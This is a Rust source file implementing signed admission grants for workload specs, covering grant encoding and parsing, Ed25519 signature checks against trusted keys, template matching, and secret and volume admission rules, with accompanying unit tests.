1use std::collections::BTreeSet;
132use std::path::{Path, PathBuf};
133
134use thiserror::Error;
135
136use crate::{EnvValue, SecretMount, SecretRef, SecretTarget, VolumeSource, WorkloadSpec};
137
138pub const GRANT_ANNOTATION: &str = "yah.admission.grant";
145
146pub const GRANT_SIGNATURE_ANNOTATION: &str = "yah.admission.signature";
149
150pub const GRANT_KEY_ANNOTATION: &str = "yah.admission.key";
156
157pub const GRANT_MAGIC: &str = "yah-admission-grant/v2";
167
168pub const FORBIDDEN_HOLE_CHARS: &[char] = &[
176 '\'', '"', '`', '$', ';', '|', '&', '<', '>', '(', ')', '{', '}', '\\', '\n', '\r', '\0',
177];
178
179pub fn hole_is_safe(value: &str) -> bool {
187 !value.contains("..") && !value.contains(FORBIDDEN_HOLE_CHARS)
188}
189
190#[derive(Debug, Clone, Copy, PartialEq, Eq)]
195pub enum GrantRuntime {
196 Container,
198 Native,
201 MicroVm,
212}
213
214impl GrantRuntime {
215 fn as_str(self) -> &'static str {
216 match self {
217 GrantRuntime::Container => "container",
218 GrantRuntime::Native => "native",
219 GrantRuntime::MicroVm => "microvm",
220 }
221 }
222
223 fn of_spec(spec: &WorkloadSpec) -> Self {
230 if spec.wants_native_exec() {
231 GrantRuntime::Native
232 } else if spec.wants_microvm() {
233 GrantRuntime::MicroVm
234 } else {
235 GrantRuntime::Container
236 }
237 }
238}
239
240#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
245pub enum Policy {
246 Disabled,
250 #[default]
253 Permissive,
254 Required,
256}
257
258impl Policy {
259 pub fn parse(s: &str) -> Result<Self, String> {
264 match s.trim() {
265 "disabled" => Ok(Policy::Disabled),
266 "permissive" => Ok(Policy::Permissive),
267 "required" => Ok(Policy::Required),
268 other => Err(format!(
269 "unknown admission policy {other:?}; expected \"disabled\", \
270 \"permissive\" or \"required\""
271 )),
272 }
273 }
274}
275
276#[derive(Debug, Clone, PartialEq, Eq)]
283pub struct AdmissionGrant {
284 pub recipe: String,
287 pub image: String,
289 pub tier: String,
291 pub runtime: GrantRuntime,
293 pub host_network: bool,
295 pub nested_sandbox: bool,
297 pub workdir: Option<String>,
299 pub entrypoint: Vec<String>,
301 pub argv: Vec<String>,
303 pub env_names: Vec<String>,
308 pub secrets: Vec<GrantSecret>,
312}
313
314#[derive(Debug, Clone, PartialEq, Eq)]
321pub struct GrantSecret {
322 pub source: SecretRef,
324 pub path: PathBuf,
326 pub mode: u32,
328}
329
330impl GrantSecret {
331 pub fn of_mount(mount: &SecretMount) -> Option<Self> {
334 match &mount.target {
335 SecretTarget::File { path, mode } => Some(Self {
336 source: mount.source.clone(),
337 path: path.clone(),
338 mode: *mode,
339 }),
340 SecretTarget::EnvVar { .. } => None,
341 }
342 }
343
344 pub fn describe(&self) -> String {
347 let source = match &self.source {
348 SecretRef::Cluster { name } => format!("cluster:{name}"),
349 SecretRef::LocalFile { path } => format!("local-file:{}", path.display()),
350 };
351 format!("{source} → {} (mode {:o})", self.path.display(), self.mode)
352 }
353
354 fn source_kind(&self) -> &'static str {
355 match self.source {
356 SecretRef::Cluster { .. } => "cluster",
357 SecretRef::LocalFile { .. } => "local-file",
358 }
359 }
360
361 fn source_value(&self) -> String {
362 match &self.source {
363 SecretRef::Cluster { name } => name.clone(),
364 SecretRef::LocalFile { path } => path.to_string_lossy().into_owned(),
365 }
366 }
367}
368
369pub fn image_ref_string(image: &crate::ImageRef) -> String {
376 format!(
377 "{}/{}:{}@{}",
378 image.registry, image.repository, image.tag, image.digest
379 )
380}
381
382impl AdmissionGrant {
383 pub fn from_spec(recipe: &str, spec: &WorkloadSpec) -> Self {
391 Self {
392 recipe: recipe.to_string(),
393 image: image_ref_string(&spec.image),
394 tier: spec.tier.0.clone(),
395 runtime: GrantRuntime::of_spec(spec),
396 host_network: spec.wants_host_network(),
397 nested_sandbox: spec.wants_nested_sandbox(),
398 workdir: spec
399 .workdir
400 .as_ref()
401 .map(|p| p.to_string_lossy().into_owned()),
402 entrypoint: spec.entrypoint.clone().unwrap_or_default(),
403 argv: spec.command.clone().unwrap_or_default(),
404 env_names: spec.env.iter().map(|e| e.name.clone()).collect(),
405 secrets: spec.secrets.iter().filter_map(GrantSecret::of_mount).collect(),
409 }
410 }
411
412 pub fn encode(&self) -> String {
426 let mut out = String::with_capacity(512);
427 out.push_str(GRANT_MAGIC);
428 out.push('\n');
429 record(&mut out, "recipe", &self.recipe);
430 record(&mut out, "image", &self.image);
431 record(&mut out, "tier", &self.tier);
432 record(&mut out, "runtime", self.runtime.as_str());
433 record(&mut out, "host-network", bool_str(self.host_network));
434 record(&mut out, "nested-sandbox", bool_str(self.nested_sandbox));
435 list(&mut out, "workdir", self.workdir.as_slice_of_one());
436 list(&mut out, "entrypoint", &self.entrypoint);
437 list(&mut out, "argv", &self.argv);
438 list(&mut out, "env-name", &self.env_names);
439 record(&mut out, "secret", &self.secrets.len().to_string());
444 for s in &self.secrets {
445 record(&mut out, "secret.source-kind", s.source_kind());
446 record(&mut out, "secret.source", &s.source_value());
447 record(&mut out, "secret.path", &s.path.to_string_lossy());
448 record(&mut out, "secret.mode", &format!("{:o}", s.mode));
449 }
450 out
451 }
452
453 pub fn parse(text: &str) -> Result<Self, GrantError> {
459 let mut cur = Cursor::new(text);
460 cur.magic()?;
461 let recipe = cur.record("recipe")?;
462 let image = cur.record("image")?;
463 let tier = cur.record("tier")?;
464 let runtime = match cur.record("runtime")?.as_str() {
465 "container" => GrantRuntime::Container,
466 "native" => GrantRuntime::Native,
467 "microvm" => GrantRuntime::MicroVm,
468 other => {
469 return Err(GrantError::BadValue {
470 label: "runtime",
471 reason: format!(
472 "expected \"container\", \"native\" or \"microvm\", got {other:?}"
473 ),
474 })
475 }
476 };
477 let host_network = cur.bool_record("host-network")?;
478 let nested_sandbox = cur.bool_record("nested-sandbox")?;
479 let mut workdir = cur.list("workdir")?;
480 if workdir.len() > 1 {
481 return Err(GrantError::BadValue {
482 label: "workdir",
483 reason: format!("expected 0 or 1 entries, got {}", workdir.len()),
484 });
485 }
486 let entrypoint = cur.list("entrypoint")?;
487 let argv = cur.list("argv")?;
488 let env_names = cur.list("env-name")?;
489 let secrets = cur.secrets()?;
490 cur.end()?;
491
492 Ok(Self {
493 recipe,
494 image,
495 tier,
496 runtime,
497 host_network,
498 nested_sandbox,
499 workdir: workdir.pop(),
500 entrypoint,
501 argv,
502 env_names,
503 secrets,
504 })
505 }
506
507 pub fn covers(&self, spec: &WorkloadSpec) -> Result<(), AdmissionError> {
518 let actual_image = image_ref_string(&spec.image);
519 if actual_image != self.image {
520 return Err(AdmissionError::Mismatch {
521 field: "image",
522 detail: format!("grant admits {}, spec names {actual_image}", self.image),
523 });
524 }
525 if spec.tier.0 != self.tier {
526 return Err(AdmissionError::Mismatch {
527 field: "tier",
528 detail: format!("grant admits {:?}, spec declares {:?}", self.tier, spec.tier.0),
529 });
530 }
531
532 let actual_runtime = GrantRuntime::of_spec(spec);
533 if actual_runtime != self.runtime {
534 return Err(AdmissionError::Mismatch {
535 field: "runtime",
536 detail: format!(
537 "grant admits {}, spec is {}",
538 self.runtime.as_str(),
539 actual_runtime.as_str()
540 ),
541 });
542 }
543
544 if spec.wants_host_network() && !self.host_network {
547 return Err(AdmissionError::Mismatch {
548 field: "host-network",
549 detail: "spec requests the host network namespace; the grant does not admit it"
550 .into(),
551 });
552 }
553 if spec.wants_nested_sandbox() && !self.nested_sandbox {
554 return Err(AdmissionError::Mismatch {
555 field: "nested-sandbox",
556 detail: "spec requests the nested-sandbox capability widening \
557 (CAP_SETUID + CAP_SETGID, no_new_privs off); the grant does not admit it"
558 .into(),
559 });
560 }
561
562 let actual_workdir = spec
567 .workdir
568 .as_ref()
569 .map(|p| p.to_string_lossy().into_owned());
570 match (&self.workdir, &actual_workdir) {
571 (None, None) => {}
572 (Some(template), Some(actual)) if template_matches(template, actual) => {}
573 _ => {
574 return Err(AdmissionError::Mismatch {
575 field: "workdir",
576 detail: format!(
577 "grant admits {:?}, spec declares {:?}",
578 self.workdir, actual_workdir
579 ),
580 })
581 }
582 }
583
584 templates_cover(
585 "entrypoint",
586 &self.entrypoint,
587 spec.entrypoint.as_deref().unwrap_or(&[]),
588 )?;
589 templates_cover("argv", &self.argv, spec.command.as_deref().unwrap_or(&[]))?;
590
591 let admitted: BTreeSet<&str> = self.env_names.iter().map(String::as_str).collect();
595 for env in &spec.env {
596 if !admitted.contains(env.name.as_str()) {
597 return Err(AdmissionError::Mismatch {
598 field: "env",
599 detail: format!(
600 "spec sets {:?}, which the grant does not admit (admitted: {:?})",
601 env.name, self.env_names
602 ),
603 });
604 }
605 if let EnvValue::FromSecret { secret, .. } = &env.value {
610 return Err(AdmissionError::Mismatch {
611 field: "env",
612 detail: format!(
613 "spec resolves {:?} from secret {secret:?}; env-target secret \
614 delivery is not admissible — mount the secret as a file \
615 (SecretTarget::File) and declare it in the grant",
616 env.name
617 ),
618 });
619 }
620 }
624
625 for mount in &spec.secrets {
628 let Some(want) = GrantSecret::of_mount(mount) else {
629 return Err(AdmissionError::Mismatch {
630 field: "secrets",
631 detail: "spec mounts a secret as an environment variable; \
632 env-target secret delivery is not admissible — use \
633 SecretTarget::File"
634 .into(),
635 });
636 };
637 if !self.secrets.contains(&want) {
638 return Err(AdmissionError::Mismatch {
639 field: "secrets",
640 detail: format!(
641 "spec mounts {}, which the grant does not admit (admitted: [{}])",
642 want.describe(),
643 self.describe_secrets()
644 ),
645 });
646 }
647 }
648
649 let ident = spec.expose.mesh.identity.0.as_str();
660 for volume in &spec.volumes {
661 if let VolumeSource::Bind { host_path } = &volume.source {
662 if crate::forge_state::is_forge_state_path(host_path) {
663 continue;
664 }
665 if self.is_materialized_secret_bind(ident, host_path, volume) {
666 continue;
667 }
668 return Err(AdmissionError::Mismatch {
669 field: "volumes",
670 detail: format!(
671 "spec binds host path {} which is outside the forge state root {} \
672 and is not a materialized mount of an admitted secret",
673 host_path.display(),
674 crate::forge_state::HOST_ROOT
675 ),
676 });
677 }
678 }
679
680 Ok(())
681 }
682
683 fn is_materialized_secret_bind(
699 &self,
700 ident: &str,
701 host_path: &Path,
702 volume: &crate::VolumeMount,
703 ) -> bool {
704 if !volume.read_only {
705 return false;
706 }
707 self.secrets.iter().any(|s| {
708 s.path == volume.target
709 && crate::secret_mount::materialized_host_path(
710 Path::new(crate::secret_mount::HOST_ROOT),
711 ident,
712 &s.path,
713 ) == host_path
714 })
715 }
716
717 pub fn describe_secrets(&self) -> String {
719 self.secrets
720 .iter()
721 .map(GrantSecret::describe)
722 .collect::<Vec<_>>()
723 .join(", ")
724 }
725}
726
727pub fn attach(spec: &mut WorkloadSpec, grant: &str, signature: &str, public_key: &str) {
733 spec.annotations
734 .insert(GRANT_ANNOTATION.into(), grant.to_string());
735 spec.annotations
736 .insert(GRANT_SIGNATURE_ANNOTATION.into(), signature.to_string());
737 spec.annotations
738 .insert(GRANT_KEY_ANNOTATION.into(), public_key.to_string());
739}
740
741pub fn has_grant_annotations(spec: &WorkloadSpec) -> bool {
747 spec.annotations.contains_key(GRANT_ANNOTATION)
748 || spec.annotations.contains_key(GRANT_SIGNATURE_ANNOTATION)
749 || spec.annotations.contains_key(GRANT_KEY_ANNOTATION)
750}
751
752fn templates_cover(
755 field: &'static str,
756 templates: &[String],
757 actual: &[String],
758) -> Result<(), AdmissionError> {
759 if templates.len() != actual.len() {
760 return Err(AdmissionError::Mismatch {
761 field,
762 detail: format!(
763 "grant admits {} element(s), spec has {}",
764 templates.len(),
765 actual.len()
766 ),
767 });
768 }
769 for (i, (template, got)) in templates.iter().zip(actual).enumerate() {
770 if !template_matches(template, got) {
771 return Err(AdmissionError::Mismatch {
772 field,
773 detail: format!("element {i}: {got:?} is not an instantiation of {template:?}"),
774 });
775 }
776 }
777 Ok(())
778}
779
780pub fn template_matches(template: &str, actual: &str) -> bool {
789 let segments = literal_segments(template);
790 if segments.len() == 1 {
792 return template == actual;
793 }
794
795 let mut rest = actual;
796 let Some(first) = segments.first() else {
797 return false;
798 };
799 let Some(after_first) = rest.strip_prefix(first.as_str()) else {
800 return false;
801 };
802 rest = after_first;
803
804 for (i, segment) in segments.iter().enumerate().skip(1) {
805 let last = i == segments.len() - 1;
806 if last && segment.is_empty() {
807 return hole_is_safe(rest);
809 }
810 let Some(at) = rest.find(segment.as_str()) else {
811 return false;
812 };
813 if !hole_is_safe(&rest[..at]) {
814 return false;
815 }
816 rest = &rest[at + segment.len()..];
817 }
818 rest.is_empty()
819}
820
821fn literal_segments(template: &str) -> Vec<String> {
829 let mut segments = Vec::new();
830 let mut current = String::new();
831 let mut rest = template;
832 while let Some(open) = rest.find("{{") {
833 let Some(close_rel) = rest[open + 2..].find("}}") else {
834 break;
835 };
836 current.push_str(&rest[..open]);
837 segments.push(std::mem::take(&mut current));
838 rest = &rest[open + 2 + close_rel + 2..];
839 }
840 current.push_str(rest);
841 segments.push(current);
842 segments
843}
844
845#[cfg(feature = "admission-verify")]
869pub fn admit(
870 spec: &WorkloadSpec,
871 policy: Policy,
872 trusted_keys: &[String],
873) -> Result<(), AdmissionError> {
874 admit_grant(spec, policy, trusted_keys).map(|_| ())
875}
876
877#[cfg(feature = "admission-verify")]
893pub fn admit_grant(
894 spec: &WorkloadSpec,
895 policy: Policy,
896 trusted_keys: &[String],
897) -> Result<Option<AdmissionGrant>, AdmissionError> {
898 use ed25519_dalek::{Signature, VerifyingKey};
899
900 if policy == Policy::Disabled {
901 return Ok(None);
902 }
903
904 let present = has_grant_annotations(spec);
905 let widening =
921 spec.wants_nested_sandbox() && !spec.wants_native_exec() && !spec.wants_microvm();
922 let required = policy == Policy::Required || widening;
923
924 if !present {
925 return if required {
926 Err(AdmissionError::GrantRequired {
927 reason: if policy == Policy::Required {
928 format!("this node runs {POLICY_ENV}=required")
929 } else {
930 format!(
931 "the workload requests the nested-sandbox widening (annotation {}={})",
932 crate::NESTED_SANDBOX_ANNOTATION,
933 crate::NESTED_SANDBOX_VALUE
934 )
935 },
936 })
937 } else {
938 Ok(None)
939 };
940 }
941
942 let grant_text = spec
943 .annotations
944 .get(GRANT_ANNOTATION)
945 .ok_or(AdmissionError::Incomplete {
946 missing: GRANT_ANNOTATION,
947 })?;
948 let signature_hex =
949 spec.annotations
950 .get(GRANT_SIGNATURE_ANNOTATION)
951 .ok_or(AdmissionError::Incomplete {
952 missing: GRANT_SIGNATURE_ANNOTATION,
953 })?;
954 let key_hex = spec
955 .annotations
956 .get(GRANT_KEY_ANNOTATION)
957 .ok_or(AdmissionError::Incomplete {
958 missing: GRANT_KEY_ANNOTATION,
959 })?;
960
961 if !trusted_keys.iter().any(|k| k == key_hex) {
963 return Err(AdmissionError::UntrustedKey {
964 key: key_hex.clone(),
965 });
966 }
967
968 let key_bytes: [u8; 32] = hex::decode(key_hex)
969 .ok()
970 .and_then(|b| b.try_into().ok())
971 .ok_or_else(|| AdmissionError::MalformedKey {
972 reason: "expected 32 hex-encoded bytes".into(),
973 })?;
974 let verifying_key =
975 VerifyingKey::from_bytes(&key_bytes).map_err(|e| AdmissionError::MalformedKey {
976 reason: format!("not a valid Ed25519 point: {e}"),
977 })?;
978 let sig_bytes: [u8; 64] = hex::decode(signature_hex)
979 .ok()
980 .and_then(|b| b.try_into().ok())
981 .ok_or_else(|| AdmissionError::MalformedSignature {
982 reason: "expected 64 hex-encoded bytes".into(),
983 })?;
984
985 verifying_key
986 .verify_strict(grant_text.as_bytes(), &Signature::from_bytes(&sig_bytes))
987 .map_err(|_| AdmissionError::SignatureMismatch)?;
988
989 let grant = AdmissionGrant::parse(grant_text)?;
991 grant.covers(spec)?;
992 Ok(Some(grant))
993}
994
995pub fn grant_key(spec: &WorkloadSpec) -> Option<&String> {
999 spec.annotations.get(GRANT_KEY_ANNOTATION)
1000}
1001
1002#[cfg(feature = "admission-verify")]
1025#[derive(Debug, Clone)]
1026pub struct NodeAdmission {
1027 pub policy: Policy,
1029 pub trusted_keys: Vec<String>,
1031}
1032
1033#[cfg(feature = "admission-verify")]
1034static NODE_ADMISSION: std::sync::OnceLock<NodeAdmission> = std::sync::OnceLock::new();
1035
1036pub const POLICY_ENV: &str = "YAH_ADMISSION";
1038
1039pub const KEYS_ENV: &str = "YAH_ADMISSION_KEYS";
1041
1042#[cfg(feature = "admission-verify")]
1043impl NodeAdmission {
1044 pub fn from_env() -> Self {
1047 Self::from_vars(
1048 std::env::var(POLICY_ENV).ok().as_deref(),
1049 std::env::var(KEYS_ENV).ok().as_deref(),
1050 )
1051 }
1052
1053 pub fn from_vars(policy: Option<&str>, keys: Option<&str>) -> Self {
1056 let policy = match policy {
1057 None => Policy::default(),
1058 Some(raw) => Policy::parse(raw).unwrap_or_else(|e| {
1059 eprintln!(
1060 "{POLICY_ENV}: {e}. Falling back to \"required\" — a misconfigured \
1061 admission control must refuse, not open."
1062 );
1063 Policy::Required
1064 }),
1065 };
1066 let trusted_keys = keys
1067 .unwrap_or_default()
1068 .split(',')
1069 .map(str::trim)
1070 .filter(|k| !k.is_empty())
1071 .map(str::to_string)
1072 .collect();
1073 Self {
1074 policy,
1075 trusted_keys,
1076 }
1077 }
1078}
1079
1080#[cfg(feature = "admission-verify")]
1085pub fn check(spec: &WorkloadSpec) -> Result<(), AdmissionError> {
1086 check_grant(spec).map(|_| ())
1087}
1088
1089#[cfg(feature = "admission-verify")]
1092pub fn check_grant(spec: &WorkloadSpec) -> Result<Option<AdmissionGrant>, AdmissionError> {
1093 let node = NODE_ADMISSION.get_or_init(NodeAdmission::from_env);
1094 admit_grant(spec, node.policy, &node.trusted_keys)
1095}
1096
1097#[cfg(feature = "admission-verify")]
1105pub fn sign_grant(encoded_grant: &str, key: &ed25519_dalek::SigningKey) -> String {
1106 use ed25519_dalek::Signer;
1107 hex::encode(key.sign(encoded_grant.as_bytes()).to_bytes())
1108}
1109
1110#[derive(Debug, Error, PartialEq, Eq)]
1114pub enum GrantError {
1115 #[error("admission grant does not open with {GRANT_MAGIC:?}")]
1116 BadMagic,
1117 #[error("admission grant: expected record {expected:?}, found {found:?}")]
1118 UnexpectedLabel { expected: &'static str, found: String },
1119 #[error("admission grant: record {label:?} is truncated or mis-lengthed")]
1120 Truncated { label: &'static str },
1121 #[error("admission grant: record {label:?} — {reason}")]
1122 BadValue { label: &'static str, reason: String },
1123 #[error("admission grant: {0} trailing byte(s) after the last record")]
1124 Trailing(usize),
1125}
1126
1127#[derive(Debug, Error, PartialEq, Eq)]
1129pub enum AdmissionError {
1130 #[error(
1131 "workload carries no admission grant and one is required: {reason}. \
1132 Sign the recipe with `cargo xtask recipe-sign` (W235 §(c) / R555-F4)."
1133 )]
1134 GrantRequired { reason: String },
1135 #[error(
1136 "workload carries a partial admission grant — annotation {missing:?} is absent. \
1137 All three of the grant, its signature and its key must travel together."
1138 )]
1139 Incomplete { missing: &'static str },
1140 #[error(
1141 "admission grant is signed by {key}, which this node does not trust. \
1142 Pinned keys come from the {KEYS_ENV} environment variable."
1143 )]
1144 UntrustedKey { key: String },
1145 #[error("admission grant public key is malformed: {reason}")]
1146 MalformedKey { reason: String },
1147 #[error("admission grant signature is malformed: {reason}")]
1148 MalformedSignature { reason: String },
1149 #[error("admission grant signature does not verify over the grant it accompanies")]
1150 SignatureMismatch,
1151 #[error("admission grant does not cover this workload's {field}: {detail}")]
1152 Mismatch { field: &'static str, detail: String },
1153 #[error(transparent)]
1154 Grant(#[from] GrantError),
1155}
1156
1157fn bool_str(b: bool) -> &'static str {
1160 if b {
1161 "true"
1162 } else {
1163 "false"
1164 }
1165}
1166
1167fn record(out: &mut String, label: &str, value: &str) {
1168 out.push_str(label);
1169 out.push(' ');
1170 out.push_str(&value.len().to_string());
1171 out.push('\n');
1172 out.push_str(value);
1173 out.push('\n');
1174}
1175
1176fn list(out: &mut String, label: &str, items: &[String]) {
1177 record(out, label, &items.len().to_string());
1181 let item_label = format!("{label}.item");
1182 for item in items {
1183 record(out, &item_label, item);
1184 }
1185}
1186
1187trait AsSliceOfOne {
1191 fn as_slice_of_one(&self) -> &[String];
1192}
1193
1194impl AsSliceOfOne for Option<String> {
1195 fn as_slice_of_one(&self) -> &[String] {
1196 match self {
1197 Some(s) => std::slice::from_ref(s),
1198 None => &[],
1199 }
1200 }
1201}
1202
1203struct Cursor<'a> {
1204 rest: &'a str,
1205}
1206
1207impl<'a> Cursor<'a> {
1208 fn new(text: &'a str) -> Self {
1209 Self { rest: text }
1210 }
1211
1212 fn magic(&mut self) -> Result<(), GrantError> {
1213 let line = format!("{GRANT_MAGIC}\n");
1214 self.rest = self.rest.strip_prefix(&line).ok_or(GrantError::BadMagic)?;
1215 Ok(())
1216 }
1217
1218 fn record(&mut self, label: &'static str) -> Result<String, GrantError> {
1220 let (header, after) = self
1221 .rest
1222 .split_once('\n')
1223 .ok_or(GrantError::Truncated { label })?;
1224 let (found, len) = header
1225 .split_once(' ')
1226 .ok_or(GrantError::Truncated { label })?;
1227 if found != label {
1228 return Err(GrantError::UnexpectedLabel {
1229 expected: label,
1230 found: found.to_string(),
1231 });
1232 }
1233 let len: usize = len.parse().map_err(|_| GrantError::BadValue {
1234 label,
1235 reason: format!("length {len:?} is not a number"),
1236 })?;
1237 if after.len() < len + 1 || !after.is_char_boundary(len) {
1240 return Err(GrantError::Truncated { label });
1241 }
1242 let (value, tail) = after.split_at(len);
1243 self.rest = tail.strip_prefix('\n').ok_or(GrantError::Truncated { label })?;
1244 Ok(value.to_string())
1245 }
1246
1247 fn bool_record(&mut self, label: &'static str) -> Result<bool, GrantError> {
1248 match self.record(label)?.as_str() {
1249 "true" => Ok(true),
1250 "false" => Ok(false),
1251 other => Err(GrantError::BadValue {
1252 label,
1253 reason: format!("expected \"true\" or \"false\", got {other:?}"),
1254 }),
1255 }
1256 }
1257
1258 fn secrets(&mut self) -> Result<Vec<GrantSecret>, GrantError> {
1264 let count: usize = self.record("secret")?.parse().map_err(|_| GrantError::BadValue {
1265 label: "secret",
1266 reason: "count is not a number".into(),
1267 })?;
1268 if count > self.rest.len() {
1269 return Err(GrantError::BadValue {
1270 label: "secret",
1271 reason: format!("count {count} exceeds the remaining document"),
1272 });
1273 }
1274 let mut out = Vec::with_capacity(count);
1275 for _ in 0..count {
1276 let kind = self.record("secret.source-kind")?;
1277 let value = self.record("secret.source")?;
1278 let source = match kind.as_str() {
1279 "cluster" => SecretRef::Cluster { name: value },
1280 "local-file" => SecretRef::LocalFile {
1281 path: PathBuf::from(value),
1282 },
1283 other => {
1284 return Err(GrantError::BadValue {
1285 label: "secret.source-kind",
1286 reason: format!("expected \"cluster\" or \"local-file\", got {other:?}"),
1287 })
1288 }
1289 };
1290 let path = PathBuf::from(self.record("secret.path")?);
1291 if !path.is_absolute() {
1292 return Err(GrantError::BadValue {
1293 label: "secret.path",
1294 reason: format!("mount path {} is not absolute", path.display()),
1295 });
1296 }
1297 let mode_raw = self.record("secret.mode")?;
1298 let mode = u32::from_str_radix(&mode_raw, 8).map_err(|_| GrantError::BadValue {
1299 label: "secret.mode",
1300 reason: format!("{mode_raw:?} is not an octal file mode"),
1301 })?;
1302 out.push(GrantSecret { source, path, mode });
1303 }
1304 Ok(out)
1305 }
1306
1307 fn list(&mut self, label: &'static str) -> Result<Vec<String>, GrantError> {
1308 let count: usize = self.record(label)?.parse().map_err(|_| GrantError::BadValue {
1309 label,
1310 reason: "count is not a number".into(),
1311 })?;
1312 if count > self.rest.len() {
1315 return Err(GrantError::BadValue {
1316 label,
1317 reason: format!("count {count} exceeds the remaining document"),
1318 });
1319 }
1320 let item_label: &'static str = match label {
1324 "workdir" => "workdir.item",
1325 "entrypoint" => "entrypoint.item",
1326 "argv" => "argv.item",
1327 "env-name" => "env-name.item",
1328 other => {
1329 return Err(GrantError::BadValue {
1330 label,
1331 reason: format!("{other:?} is not a list field"),
1332 })
1333 }
1334 };
1335 let mut items = Vec::with_capacity(count);
1336 for _ in 0..count {
1337 items.push(self.record(item_label)?);
1338 }
1339 Ok(items)
1340 }
1341
1342 fn end(&self) -> Result<(), GrantError> {
1343 if self.rest.is_empty() {
1344 Ok(())
1345 } else {
1346 Err(GrantError::Trailing(self.rest.len()))
1347 }
1348 }
1349}
1350
1351#[cfg(test)]
1352mod tests {
1353 use super::*;
1354 use crate::{EnvVar, ImageRef, MeshIdent, TierTag, VolumeMount};
1355 use std::path::PathBuf;
1356
1357 const IMAGE: &str = "ghcr.io/yah-ai/rusty-v8-musl-builder";
1358 const DIGEST: &str = "sha256:8f2a6c1d6937e85ad7a1554829fb7901a7d204ed81e9ce7a1b53ef8c1acc1b75";
1359
1360 fn image() -> ImageRef {
1361 ImageRef {
1362 registry: "ghcr.io".into(),
1363 repository: "yah-ai/rusty-v8-musl-builder".into(),
1364 tag: "v149.4.0".into(),
1365 digest: DIGEST.into(),
1366 }
1367 }
1368
1369 pub(super) fn forge_spec(argv: &[&str]) -> WorkloadSpec {
1373 let mut spec = WorkloadSpec::for_forge("abc123", image(), TierTag("infra".into()), vec![]);
1374 spec.command = Some(argv.iter().map(|s| s.to_string()).collect());
1375 spec.volumes.push(crate::forge_produced::durable_mount("abc123"));
1376 spec.annotations.insert(
1377 crate::HOST_NETWORK_ANNOTATION.into(),
1378 crate::HOST_NETWORK_VALUE.into(),
1379 );
1380 spec
1381 }
1382
1383 pub(super) fn template_spec() -> WorkloadSpec {
1386 forge_spec(&["build-v8.sh '{{target}}' '{{YAH_TRANSFORM_OUT}}'"])
1387 }
1388
1389 pub(super) fn dispatched_spec() -> WorkloadSpec {
1391 forge_spec(&[
1392 "build-v8.sh 'x86_64-unknown-linux-musl' '/yah/produced/deadbeef.out'",
1393 ])
1394 }
1395
1396 pub(super) fn grant() -> AdmissionGrant {
1397 AdmissionGrant::from_spec("rusty-v8-musl", &template_spec())
1398 }
1399
1400 const R2_PATH: &str = "/run/yah/r2.json";
1403
1404 fn cluster_mount(name: &str, path: &str, mode: u32) -> SecretMount {
1405 SecretMount {
1406 source: SecretRef::Cluster { name: name.into() },
1407 target: SecretTarget::File {
1408 path: PathBuf::from(path),
1409 mode,
1410 },
1411 }
1412 }
1413
1414 fn spec_and_grant_with_a_secret() -> (WorkloadSpec, AdmissionGrant) {
1417 let mut template = template_spec();
1418 template.secrets.push(cluster_mount("r2-write", R2_PATH, 0o400));
1419 let grant = AdmissionGrant::from_spec("rusty-v8-musl", &template);
1420 let mut spec = dispatched_spec();
1421 spec.secrets.push(cluster_mount("r2-write", R2_PATH, 0o400));
1422 (spec, grant)
1423 }
1424
1425 fn materialize(spec: &mut WorkloadSpec) {
1430 let ident = spec.expose.mesh.identity.0.clone();
1431 let mounts = std::mem::take(&mut spec.secrets);
1432 for m in mounts {
1433 let SecretTarget::File { path, .. } = &m.target else {
1434 spec.secrets.push(m);
1435 continue;
1436 };
1437 spec.volumes.push(VolumeMount {
1438 source: VolumeSource::Bind {
1439 host_path: crate::secret_mount::materialized_host_path(
1440 std::path::Path::new(crate::secret_mount::HOST_ROOT),
1441 &ident,
1442 path,
1443 ),
1444 },
1445 target: path.clone(),
1446 read_only: true,
1447 });
1448 }
1449 }
1450
1451 #[test]
1452 fn a_grant_carries_the_secrets_it_was_cut_from() {
1453 let (_, g) = spec_and_grant_with_a_secret();
1454 assert_eq!(
1455 g.secrets,
1456 vec![GrantSecret {
1457 source: SecretRef::Cluster {
1458 name: "r2-write".into()
1459 },
1460 path: PathBuf::from(R2_PATH),
1461 mode: 0o400,
1462 }]
1463 );
1464 assert_eq!(AdmissionGrant::parse(&g.encode()).unwrap(), g);
1465 }
1466
1467 #[test]
1468 fn several_secrets_round_trip_in_order() {
1469 let mut g = grant();
1470 g.secrets = vec![
1471 GrantSecret {
1472 source: SecretRef::Cluster {
1473 name: "r2-write".into(),
1474 },
1475 path: PathBuf::from("/run/yah/r2.json"),
1476 mode: 0o400,
1477 },
1478 GrantSecret {
1479 source: SecretRef::LocalFile {
1480 path: PathBuf::from("/var/lib/yah/yubaba/secrets/cosign"),
1481 },
1482 path: PathBuf::from("/run/yah/cosign.key"),
1483 mode: 0o400,
1484 },
1485 ];
1486 assert_eq!(AdmissionGrant::parse(&g.encode()).unwrap(), g);
1487 }
1488
1489 #[test]
1494 fn two_different_allow_lists_cannot_encode_the_same() {
1495 let mut a = grant();
1496 a.secrets = vec![GrantSecret {
1497 source: SecretRef::Cluster {
1498 name: "r2 /run/yah/x".into(),
1499 },
1500 path: PathBuf::from("/run/yah/r2.json"),
1501 mode: 0o400,
1502 }];
1503 let mut b = grant();
1504 b.secrets = vec![GrantSecret {
1505 source: SecretRef::Cluster { name: "r2".into() },
1506 path: PathBuf::from("/run/yah/x /run/yah/r2.json"),
1507 mode: 0o400,
1508 }];
1509 assert_ne!(a.encode(), b.encode());
1510 assert_eq!(AdmissionGrant::parse(&a.encode()).unwrap(), a);
1511 assert_eq!(AdmissionGrant::parse(&b.encode()).unwrap(), b);
1512 }
1513
1514 #[test]
1515 fn parse_refuses_a_malformed_secret_entry() {
1516 let g = {
1517 let (_, g) = spec_and_grant_with_a_secret();
1518 g
1519 };
1520 let encoded = g.encode();
1521
1522 let bad_kind = encoded.replacen("cluster\n", "vault\n", 1);
1524 assert!(matches!(
1525 AdmissionGrant::parse(&bad_kind).unwrap_err(),
1526 GrantError::BadValue {
1527 label: "secret.source-kind",
1528 ..
1529 } | GrantError::Truncated { .. }
1530 ));
1531
1532 let relative = encoded.replacen(
1536 &format!("secret.path {}\n{R2_PATH}", R2_PATH.len()),
1537 "secret.path 8\nr2.json ",
1538 1,
1539 );
1540 assert!(AdmissionGrant::parse(&relative).is_err());
1541 }
1542
1543 #[test]
1544 fn a_declared_secret_is_admitted() {
1545 let (spec, g) = spec_and_grant_with_a_secret();
